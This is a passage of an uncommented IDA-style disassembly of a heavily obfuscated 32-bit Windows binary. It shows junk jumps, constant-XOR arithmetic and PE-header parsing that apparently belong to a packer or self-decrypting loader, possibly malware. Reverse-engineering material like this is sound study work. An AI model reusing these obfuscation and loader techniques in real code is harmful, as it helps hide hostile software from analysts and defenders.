; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40928F


loc_40B1DD:				; CODE XREF: sub_40928F+39A2j
		jmp	sub_40E858
; END OF FUNCTION CHUNK	FOR sub_40928F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D1C4


loc_40B1E2:				; CODE XREF: sub_40D1C4-16E1j
		sub	eax, 6A58DA2Ch
		xor	eax, 0B99E00D3h
		mov	edx, [esp+0]
		push	eax
; END OF FUNCTION CHUNK	FOR sub_40D1C4
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40B1F2:				; CODE XREF: sub_40D740:loc_40A696j
		call	sub_40AEC0
; END OF FUNCTION CHUNK	FOR sub_40D740
; START	OF FUNCTION CHUNK FOR sub_40A742


loc_40B1F7:				; CODE XREF: sub_40D740-3569j
					; sub_40A742:loc_40AE02j
		add	eax, 7BAF5054h
		call	sub_40BDFD


loc_40B202:				; CODE XREF: sub_40C2E1+1181j
		jmp	loc_40A0F7
; END OF FUNCTION CHUNK	FOR sub_40A742
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409726


loc_40B207:				; CODE XREF: sub_40DA15+DDDj
					; sub_409726:loc_40ED96j
		jz	loc_40E806
		jmp	loc_40CAA4
; END OF FUNCTION CHUNK	FOR sub_409726
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC64


loc_40B213:				; CODE XREF: sub_40EC64+9j
		jmp	loc_40FA2C
; END OF FUNCTION CHUNK	FOR sub_40EC64

; =============== S U B	R O U T	I N E =======================================



sub_40B218	proc near		; DATA XREF: o45kw3t9:loc_40AA2Bo
		mov	eax, [esp+0]
		call	sub_41029D

locret_40B220:				; CODE XREF: o45kw3t9:0040A834j
		retn
sub_40B218	endp

; ---------------------------------------------------------------------------


loc_40B221:				; CODE XREF: o45kw3t9:0040FBB4j
		push	6BE9673Ch


loc_40B226:				; CODE XREF: o45kw3t9:loc_40D9F8j
		call	sub_40CEFE
		mov	edx, 0F2B89A19h
		call	sub_40E858
		call	sub_40E9DE


loc_40B23A:				; CODE XREF: o45kw3t9:00409F33j
		jmp	locret_40D626

; =============== S U B	R O U T	I N E =======================================



sub_40B23F	proc near		; CODE XREF: sub_40BC0E+3p

; FUNCTION CHUNK AT 00409DE6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A72D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040B03E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040CD4B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CDDC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040F06F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040FE41 SIZE 0000001F BYTES

		mov	[esp+0], ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_40CFF0
		jmp	loc_40A72D
sub_40B23F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40B250:				; CODE XREF: o45kw3t9:00409F7Dj
		test	ebp, 0EB7E2973h
		jmp	loc_40C087
; ---------------------------------------------------------------------------


loc_40B25B:				; DATA XREF: sub_40B585+6o
		add	eax, ebp
		add	eax, 0FE2CE27Ch
		mov	eax, [eax]
		mov	al, [eax]
		jz	loc_40C073
		sub	al, 99h
		jmp	loc_40BFD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40B274:				; CODE XREF: sub_40D740:loc_40E3BBj
		add	edx, edi
		pop	edi
		xor	[edx], eax
		call	sub_40BB28


loc_40B27E:				; CODE XREF: sub_40F02A+A97j
		jmp	loc_409B33
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D026


loc_40B283:				; CODE XREF: sub_40D026-1FD8j
		jmp	nullsub_148
; END OF FUNCTION CHUNK	FOR sub_40D026
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B029


loc_40B288:				; CODE XREF: sub_40B029+10j
		jmp	loc_40FFEB
; END OF FUNCTION CHUNK	FOR sub_40B029

; =============== S U B	R O U T	I N E =======================================



sub_40B28D	proc near		; DATA XREF: sub_40D587+1569o
		xchg	edi, [esp+0]
		jmp	sub_40CA3C
sub_40B28D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_40B295:				; CODE XREF: sub_40988C:loc_40FBEDj
		xor	edi, 0B4D46DE4h
		shl	ecx, 8
		jmp	loc_40EB9D
; END OF FUNCTION CHUNK	FOR sub_40988C
; ---------------------------------------------------------------------------


loc_40B2A3:				; CODE XREF: o45kw3t9:0040C9AAj
		or	ecx, 0A5F8C24Ch


loc_40B2A9:				; CODE XREF: o45kw3t9:loc_409666j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40C17A
		jmp	loc_40D8E6
; ---------------------------------------------------------------------------
		shr	ecx, 18h
		jmp	sub_40AC3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BD10


loc_40B2C2:				; CODE XREF: sub_40BD10+E9Bj
		mov	eax, edx
		push	esi
		push	0F754D371h
		pop	esi
		and	esi, 6D66EEFCh
		jmp	loc_40D0EC
; END OF FUNCTION CHUNK	FOR sub_40BD10
; ---------------------------------------------------------------------------
		rol	esi, 6
		jmp	sub_40D0CE
; ---------------------------------------------------------------------------

locret_40B2DE:				; CODE XREF: o45kw3t9:004097C8j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40B2DF:				; CODE XREF: sub_409FA8+3D81j
		jmp	loc_4099B7
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A259


loc_40B2E4:				; CODE XREF: sub_40A259+9j
		jmp	loc_40BEED
; END OF FUNCTION CHUNK	FOR sub_40A259
; ---------------------------------------------------------------------------
		test	esi, ebx
		jmp	loc_409958
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40B2F1:				; DATA XREF: sub_40B0A6-503o
		xchg	edx, [esp]
		jmp	nullsub_3
; ---------------------------------------------------------------------------
		mov	eax, ds:dword_40F1D4
		push	esi
		push	627E3976h
		jmp	loc_40BAB9
; ---------------------------------------------------------------------------


loc_40B309:				; DATA XREF: sub_40A742:loc_409391o
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40A43A
		jmp	loc_40AF49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40980B


loc_40B31D:				; CODE XREF: sub_40980B+17j
		call	sub_40D439
		mov	[ebp-8], eax
		push	400h
		push	offset loc_409EF7
		jmp	nullsub_15
; END OF FUNCTION CHUNK	FOR sub_40980B
; ---------------------------------------------------------------------------
		xor	ebx, 8F1EDEC4h
		jmp	loc_409621
; ---------------------------------------------------------------------------


loc_40B33F:				; CODE XREF: o45kw3t9:0040BCCEj
		jno	loc_40BA3B
		sub	ecx, ebp
		jmp	loc_40C8D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AEC0


loc_40B34C:				; CODE XREF: sub_40AEC0+Ej
		call	sub_40A01C
		retn
; END OF FUNCTION CHUNK	FOR sub_40AEC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E562


loc_40B352:				; CODE XREF: sub_40E562+10j
		jmp	loc_409575
; END OF FUNCTION CHUNK	FOR sub_40E562
; ---------------------------------------------------------------------------


loc_40B357:				; CODE XREF: o45kw3t9:0040B3DEj
		jmp	loc_40D456
; ---------------------------------------------------------------------------
dword_40B35C	dd 26611C83h						; o45kw3t9:loc_40AAF0r	...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C8A6


loc_40B360:				; CODE XREF: sub_40C8A6+2042j
		jmp	loc_40BC8E
; END OF FUNCTION CHUNK	FOR sub_40C8A6
; ---------------------------------------------------------------------------
		jnz	loc_40F155
		mov	eax, ds:dword_40CCB4
		or	eax, eax
		jmp	loc_40DD7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409726


loc_40B378:				; CODE XREF: sub_409726+9j
					; sub_40FA51:loc_40E08Aj
		jns	loc_40AADB
		mov	eax, [ebp-0Ch]
		call	sub_40FA51


loc_40B386:				; CODE XREF: sub_40C4CD+18j
		jmp	loc_40DE25
; END OF FUNCTION CHUNK	FOR sub_409726
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40B38C:				; CODE XREF: o45kw3t9:00409DA9j
		test	ecx, 0FE8FD2F2h
		jmp	loc_40DA0F
; ---------------------------------------------------------------------------


loc_40B397:				; DATA XREF: sub_40A8A6:loc_40E952o
		mov	eax, offset dword_40E41C
		call	sub_40C298
		lea	eax, [ebp-14h]
		push	eax
; START	OF FUNCTION CHUNK FOR sub_40CEFE


loc_40B3A5:				; CODE XREF: sub_40CEFE:loc_40C773j
		call	sub_40FC1D
		jmp	loc_40EBEE
; END OF FUNCTION CHUNK	FOR sub_40CEFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40B3AF:				; CODE XREF: sub_40D740:loc_40FA1Dj
		jb	loc_40E0C4
		mov	edx, 69EF3CD7h
		or	edi, ecx
		or	ecx, 9E9A5222h
		jmp	loc_40E0D9
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------


loc_40B3C7:				; DATA XREF: sub_40D394-33AAo
		jz	loc_40B415
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h


loc_40B3DB:				; CODE XREF: o45kw3t9:loc_40DB6Aj
		mov	[ebp-10h], eax
		jmp	loc_40B357
; ---------------------------------------------------------------------------


loc_40B3E3:				; CODE XREF: o45kw3t9:00409C33j
		or	edx, eax

; =============== S U B	R O U T	I N E =======================================



sub_40B3E5	proc near		; CODE XREF: sub_40CE59+3p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040999C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409EE8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AB3C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B8B7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C909 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040C9C8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040CEE8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D674 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0040DCD4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0040DF94 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040E6DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FAF4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FDF5 SIZE 00000016 BYTES

		mov	[esp+0], eax
		pop	eax
		push	eax
		call	sub_40E4ED
		mov	eax, [ebp-4]
		and	dword ptr [eax+24h], 7FFFFFFFh
		lea	eax, [ebp-14h]
		jmp	loc_40CEE8
sub_40B3E5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BB28


loc_40B401:				; CODE XREF: sub_40BB28+6j
		push	edx
		push	eax
		call	sub_40CC98
		mov	al, 1
		jmp	loc_40F0CF
; END OF FUNCTION CHUNK	FOR sub_40BB28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E014


loc_40B40F:				; CODE XREF: sub_40E014:loc_409AEBj
		add	eax, [ebp-4]
		mov	[ebp-0Ch], eax
; END OF FUNCTION CHUNK	FOR sub_40E014
; START	OF FUNCTION CHUNK FOR sub_40BC53


loc_40B415:				; CODE XREF: o45kw3t9:loc_40B3C7j
					; sub_40B745+6j ...
		push	offset loc_40C343
		jmp	nullsub_38
; END OF FUNCTION CHUNK	FOR sub_40BC53
; ---------------------------------------------------------------------------


loc_40B41F:				; CODE XREF: o45kw3t9:00409467j
		add	ecx, 131D6FD3h

; =============== S U B	R O U T	I N E =======================================



sub_40B425	proc near		; CODE XREF: sub_40D740:loc_409435p

; FUNCTION CHUNK AT 00410178 SIZE 00000015 BYTES

		mov	[esp+0], esi
		pop	esi
		mov	eax, [ebp-4]
		jmp	loc_410178
sub_40B425	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A6F8


loc_40B431:				; CODE XREF: sub_40A6F8:loc_40B87Ej
		jz	loc_40A76C
		jmp	loc_40D9BB
; END OF FUNCTION CHUNK	FOR sub_40A6F8

; =============== S U B	R O U T	I N E =======================================



sub_40B43C	proc near		; CODE XREF: o45kw3t9:0040E00Ej
					; sub_40FD16+7p

; FUNCTION CHUNK AT 00409F16 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040FBE8 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	ebp, esp
		call	nullsub_3
		jmp	loc_40FBE8
sub_40B43C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E159


loc_40B44C:				; CODE XREF: sub_40E159:loc_409D3Fj
		jnz	loc_40D569
		jmp	loc_40D108
; END OF FUNCTION CHUNK	FOR sub_40E159
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E0E0


loc_40B457:				; CODE XREF: sub_40E0E0+3EAj
		shl	eax, 2
		cdq
		add	eax, [esp+0]
		adc	edx, [esp+4]
		jz	loc_40A57C
		add	esp, 8
		mov	eax, [eax]
		jmp	loc_40AF69
; END OF FUNCTION CHUNK	FOR sub_40E0E0
; ---------------------------------------------------------------------------

locret_40B472:				; CODE XREF: o45kw3t9:0040FE81j
		retn
; ---------------------------------------------------------------------------


loc_40B473:				; CODE XREF: o45kw3t9:0040FDCEj
		shr	edi, 8

; =============== S U B	R O U T	I N E =======================================



sub_40B476	proc near		; CODE XREF: sub_40D740+28C8p

; FUNCTION CHUNK AT 0040CF63 SIZE 0000000A BYTES

		mov	[esp+0], ecx
		pop	ecx
		call	sub_40E858
		push	eax
		jmp	loc_40CF63
sub_40B476	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B0A6


loc_40B485:				; CODE XREF: sub_40B0A6:loc_4090D7j
		jge	loc_40AB97


loc_40B48B:				; CODE XREF: sub_40D740-C11j
		jmp	nullsub_72
; END OF FUNCTION CHUNK	FOR sub_40B0A6
; ---------------------------------------------------------------------------
		add	eax, 3778F29Dh
		jle	loc_40EDC0
		jmp	loc_40AB95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CD2E


loc_40B4A1:				; CODE XREF: sub_40CD2E-34C2j
		push	75D8D14Fh
		or	esi, 91F2A7Fh
		ror	edx, 9
		pushf
		jmp	loc_40FBB9
; END OF FUNCTION CHUNK	FOR sub_40CD2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4092B8


loc_40B4B5:				; CODE XREF: sub_4092B8+6C6Fj
		call	sub_409892
; END OF FUNCTION CHUNK	FOR sub_4092B8
; START	OF FUNCTION CHUNK FOR sub_40E786


loc_40B4BA:				; CODE XREF: sub_40E786+1A2Bj
		jmp	loc_40C2A0
; END OF FUNCTION CHUNK	FOR sub_40E786
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AC2F


loc_40B4BF:				; CODE XREF: sub_40AC2F+2140j
		mov	ebp, ecx
; END OF FUNCTION CHUNK	FOR sub_40AC2F
; START	OF FUNCTION CHUNK FOR sub_40D996


loc_40B4C1:				; CODE XREF: o45kw3t9:0040B921j
					; sub_40D996:loc_40D9A1j ...
		jmp	loc_40B6BB
; END OF FUNCTION CHUNK	FOR sub_40D996
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E692


loc_40B4C6:				; CODE XREF: sub_40E692:loc_40B757j
					; o45kw3t9:0040E59Ej
		pop	ecx
		call	sub_40AD13


loc_40B4CC:				; CODE XREF: sub_40E692-2F35j
		jmp	loc_40FDC1
; END OF FUNCTION CHUNK	FOR sub_40E692
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A715


loc_40B4D1:				; CODE XREF: sub_40A715+7j
		jmp	loc_40C85F
; END OF FUNCTION CHUNK	FOR sub_40A715
; ---------------------------------------------------------------------------
		mov	esi, 24D0834Ch
		jmp	loc_40A16E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409726


loc_40B4E1:				; CODE XREF: sub_409726+3CFEj
		sbb	edx, edi
		jmp	loc_40E806
; END OF FUNCTION CHUNK	FOR sub_409726
; ---------------------------------------------------------------------------


loc_40B4E8:				; CODE XREF: o45kw3t9:0040DE88j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40E806
		jmp	loc_409ECD
; ---------------------------------------------------------------------------


loc_40B4FC:				; DATA XREF: sub_40A3F3+18AAo
		mov	eax, [ebp-4]
		mov	ax, [eax]
		and	ax, 38FFh
		push	offset sub_40C239
		jmp	loc_409E83
; ---------------------------------------------------------------------------


loc_40B510:				; CODE XREF: o45kw3t9:0040BB1Dj
		add	eax, 0E126A2Ch
		add	eax, ebp
		add	eax, 2A92E540h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_4095D2
		jmp	loc_41022F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A742


loc_40B52E:				; CODE XREF: sub_40A742+4j
		sub	al, 99h
		push	11EFB267h
		jmp	loc_409527
; END OF FUNCTION CHUNK	FOR sub_40A742

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B53A	proc near		; CODE XREF: sub_40EC53-129Dj
		retn
sub_40B53A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409416


loc_40B53B:				; CODE XREF: sub_409416+510Ej
		jmp	loc_40F1C8
; END OF FUNCTION CHUNK	FOR sub_409416

; =============== S U B	R O U T	I N E =======================================



sub_40B540	proc near		; DATA XREF: o45kw3t9:0040D3F8o

; FUNCTION CHUNK AT 0040920A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040ABD8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040BE91 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D3D9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040DB2B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040EF1C SIZE 0000000B BYTES

		mov	[edi], eax
		pop	edi
		add	edx, ebx
		rol	edx, 5
		xor	edx, ecx
		jmp	loc_40D3D9
sub_40B540	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40939B


loc_40B550:				; CODE XREF: sub_40939B:loc_40A5A4j
		call	sub_40EA96
		pop	ecx
		mov	[ebp-20h], eax


loc_40B559:				; CODE XREF: sub_40CF7C+8j
					; sub_40939B+41BFj ...
		mov	eax, [ebp-20h]
		sub	eax, [ebp-28h]
		mov	[ebp-24h], eax
		jmp	loc_40EA85
; END OF FUNCTION CHUNK	FOR sub_40939B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A322


loc_40B567:				; CODE XREF: sub_40A322+2BA6j
		adc	ebp, 0EBC83162h
; END OF FUNCTION CHUNK	FOR sub_40A322

; =============== S U B	R O U T	I N E =======================================



sub_40B56D	proc near		; CODE XREF: o45kw3t9:loc_40BDF5j
					; sub_40DCEE:loc_40EB28p

; FUNCTION CHUNK AT 0040A59F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D2D3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040D506 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040EA1F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FEAB SIZE 0000001A BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_40CEFE
		jmp	loc_40EA1F
sub_40B56D	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C525


loc_40B57C:				; CODE XREF: sub_40C525+18j
		xchg	eax, [esp+0]

locret_40B57F:				; CODE XREF: o45kw3t9:00409F77j
		retn
; END OF FUNCTION CHUNK	FOR sub_40C525
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DA15


loc_40B580:				; CODE XREF: sub_40DA15-20DFj
		jmp	loc_409F92
; END OF FUNCTION CHUNK	FOR sub_40DA15

; =============== S U B	R O U T	I N E =======================================



sub_40B585	proc near		; DATA XREF: sub_40C525+13o
		xor	eax, 8E277CEh
		push	offset loc_40B25B
		jmp	nullsub_142
sub_40B585	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC83


loc_40B595:				; CODE XREF: sub_40EC83+168Cj
		xor	eax, 72082E82h
		mov	edx, 86B5C1B6h


loc_40B5A0:				; CODE XREF: o45kw3t9:loc_40EB62j
		jmp	loc_409386
; END OF FUNCTION CHUNK	FOR sub_40EC83
; ---------------------------------------------------------------------------


loc_40B5A5:				; DATA XREF: sub_40B7A3+4o
		mov	esp, ebp
		push	offset sub_40E893
		jmp	loc_40E5FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FBD0


loc_40B5B1:				; CODE XREF: sub_40FBD0+12j
		jz	loc_40D789
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0CFh
		jz	loc_40D782
		mov	eax, [ebp-4]
		jmp	loc_40AA62
; END OF FUNCTION CHUNK	FOR sub_40FBD0

; =============== S U B	R O U T	I N E =======================================



sub_40B5CB	proc near		; CODE XREF: o45kw3t9:0040B059j
					; sub_40FB55:loc_40BF6Dp

; FUNCTION CHUNK AT 0040A36C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040A4FD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040ACBC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040BD9C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BEB8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C013 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040C46D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C568 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CB13 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040D6AB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040DC18 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040DC41 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E6AB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040E987 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040ED1B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0040EF2D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FAFF SIZE 00000010 BYTES

		mov	[esp+0], ebx
		pop	ebx
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40C013
		jmp	loc_40BD9C
sub_40B5CB	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_40B5E4:				; CODE XREF: sub_40909E+5B39j
		jmp	loc_40C9EA
; END OF FUNCTION CHUNK	FOR sub_40909E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B0D1


loc_40B5E9:				; CODE XREF: sub_40B0D1:loc_40C76Ej
		push	0
		mov	edx, esp
		call	sub_40995E
; END OF FUNCTION CHUNK	FOR sub_40B0D1
; START	OF FUNCTION CHUNK FOR sub_40A382


loc_40B5F2:				; CODE XREF: sub_40A259:loc_40925Ej
					; sub_40A382+9j
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		and	eax, 0FFh
		mov	eax, ds:dword_40F5F4[eax*4]
		mov	[ebp-8], eax


loc_40B607:				; CODE XREF: sub_40BC53-18BFj
					; sub_40BC53+2C24j
		jno	loc_4093A7
		test	byte ptr [ebp-8], 2
		jz	loc_40AC8C
		jmp	sub_40C1A5
; END OF FUNCTION CHUNK	FOR sub_40A382
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40B61C:				; CODE XREF: sub_40D740:loc_409F6Dj
		jz	loc_40ED96
		jmp	loc_40911C
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------

locret_40B627:				; CODE XREF: o45kw3t9:loc_40DF8Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40939B


loc_40B628:				; CODE XREF: sub_40939B+3F8Ej
					; sub_40E6E8:loc_40FE30j
		jmp	loc_409146
; END OF FUNCTION CHUNK	FOR sub_40939B
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jns	loc_40BDE1
		jmp	loc_40ED64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40B644:				; CODE XREF: sub_40D740+1ACj
		add	eax, 0BE0393A0h
		add	ebp, eax
		jmp	loc_40C067
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40B651:				; CODE XREF: sub_40C674-1CA9j
		mov	eax, ebx
		jmp	loc_40A346
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BFBB


loc_40B658:				; CODE XREF: sub_40BFBB:loc_40D1B2j
		push	offset sub_40E786
		jmp	loc_40D570
; END OF FUNCTION CHUNK	FOR sub_40BFBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FDEF


loc_40B662:				; CODE XREF: sub_40FDEF:loc_40F0D4j
		mov	dword ptr [ebp-8], 1
; END OF FUNCTION CHUNK	FOR sub_40FDEF
; START	OF FUNCTION CHUNK FOR sub_409F42


loc_40B669:				; CODE XREF: sub_409F42:loc_409F4Dj
					; sub_40D740:loc_40EF17j
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_409F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A01C


loc_40B670:				; CODE XREF: sub_40A01C+6j
		jmp	loc_4091E7
; END OF FUNCTION CHUNK	FOR sub_40A01C
; ---------------------------------------------------------------------------


loc_40B675:				; CODE XREF: o45kw3t9:0040B10Dj
		add	eax, edx


loc_40B677:				; CODE XREF: o45kw3t9:loc_409FFFj
		push	1A375C8h
		pop	eax
		add	eax, 0A1F02E28h
		xor	eax, 56C5AC79h
		add	eax, ebp
		add	eax, 0AA9F073h
		mov	eax, [eax]
		jmp	loc_40D71E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E93E


loc_40B698:				; CODE XREF: sub_40E93E:loc_40B012j
		call	sub_40BD84
; END OF FUNCTION CHUNK	FOR sub_40E93E
; START	OF FUNCTION CHUNK FOR sub_40ABFA


loc_40B69D:				; CODE XREF: sub_40ABFA:loc_409C38j
					; sub_40ABFA-FACj ...
		jo	loc_40A0CA
		mov	eax, [ebp+8]
		call	sub_409674


loc_40B6AB:				; CODE XREF: sub_40E193+3j
		jmp	sub_40A322
; END OF FUNCTION CHUNK	FOR sub_40ABFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D34B


loc_40B6B0:				; CODE XREF: sub_40D34B+Aj
		jmp	loc_40A450
; END OF FUNCTION CHUNK	FOR sub_40D34B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E858


loc_40B6B5:				; CODE XREF: sub_40E858:loc_409EEDj
		jz	sub_40B96E
; END OF FUNCTION CHUNK	FOR sub_40E858
; START	OF FUNCTION CHUNK FOR sub_40D996


loc_40B6BB:				; CODE XREF: sub_40D996:loc_40B4C1j
		call	sub_40C683


loc_40B6C0:				; CODE XREF: o45kw3t9:0040BDBAj
		mov	edx, [ebp+8]
		imul	dword ptr [edx-4]
		add	eax, 2
		mov	[ebp-0Ch], eax
		jmp	loc_40FC0C
; END OF FUNCTION CHUNK	FOR sub_40D996

; =============== S U B	R O U T	I N E =======================================



sub_40B6D1	proc near		; DATA XREF: sub_409674+569Do
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
sub_40B6D1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
